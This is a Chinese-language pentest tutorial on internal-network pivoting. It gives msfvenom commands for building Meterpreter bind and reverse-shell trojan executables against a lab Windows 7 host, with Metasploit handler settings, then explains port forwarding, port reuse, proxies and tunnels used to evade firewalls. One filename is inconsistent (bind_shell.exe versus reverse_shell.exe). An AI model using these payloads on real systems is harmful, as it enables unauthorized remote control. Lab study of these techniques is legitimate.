环境:
kali:192.168.92.6,MSF v6.3.25
win7:192.168.92.7
一、正向连接与反向连接
1.1 正向连接
正向连接就是受控端主机监听一个端口,由控制端主机主动去连接受控端主机的过程,适用于受控端主机具有公网IP的情况。简单来说,就是被攻击的机器监听一个端口,攻击机主动去连接被攻击机监听的端口。
使用MSF生成一个win7的正向木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -f exe -o bind_shell.exe
MSF首先设置监听器,再在受害机上运行bind_shell.exe
,成功连接正向shell。
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888 # 设置受害机的监听端口
set rhost 192.168.92.7 # 设置受害机的ip地址
run
1.2 反向连接
反向连接指的是攻击机监听一个端口,被攻击机反向连接攻击机的过程。
使用MSF生成一个win7的反向木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=8888 -f exe -o bind_shell.exe
MSF首先设置监听器,再在受害机上运行reverse_shell.exe
,成功连接反弹shell。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 8888 # 设置攻击机的监听端口
set lhost 192.168.92.6 # 设置攻击机的ip地址
run
二、端口转发
端口转发是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以被转发到另一个网络端口。转发的端口可以是本机的端口,也可以是其他主机的端口。
三、端口映射
端口映射也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网IP的内网地址能够对外提供相应的服务。
四、端口复用
端口复用指的是在目标主机某个占用服务的端口上建立了多个通讯连接,而不是指在一个端口上开放了多个服务,端口服务和通讯连接可以同时存在互不干扰。
例如,在服务器上的80端口开放了Apache服务,如果继续在80端口上再指定添加某项服务,它就会有两种可能,添加服务失败或Apache服务出错,而使用端口复用的方法可通过80端口建立通讯连接绕过防火墙限制,因为防火墙两端的数据包封装在它所允许的数据包类型或是端口上,然后穿过防火墙与处在防火墙后面的主机进行通讯,当封装的数据包到达目的地时,再将数据包还原,并将还原后的数据包交送到相应的服务上。
五、代理和隧道的区别
- 代理:是指一种特殊的网络服务,它允许一个网络终端通过代理服务与另一个网络终端进行非直接的连接,它扮演了位于服务器和客户端的“中间人”,攻击者可以通过受控主机设置代理服务,去访问目标内网中其他主机的服务。
- 隧道:主要就是为了解决数据包无法传输,隧道技术一般用来绕过一些安全设备的监控,例如防火墙过滤,网络连接通讯,数据回链封装等,如果安全防护设备对我们发送的流量进行拦截,我们就可以使用隧道技术来绕过拦截,隧道技术就是使用不同的协议技术来建立通讯连接。
六、常见隧道穿透分类
从计算机OSI 七层模型来讲隧道穿透技术主要应用在应用层,传输层,网络层这三层,每一层常见的隧道利用方式及隧道类型如下表:
隧道方式 | 隧道类型 |
---|---|
应用层隧道 | SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道 |
传输层隧道 | TCP隧道、UDP隧道、常规端口转发 |
网络层隧道 | IPv6隧道、ICMP隧道、GRE隧道 |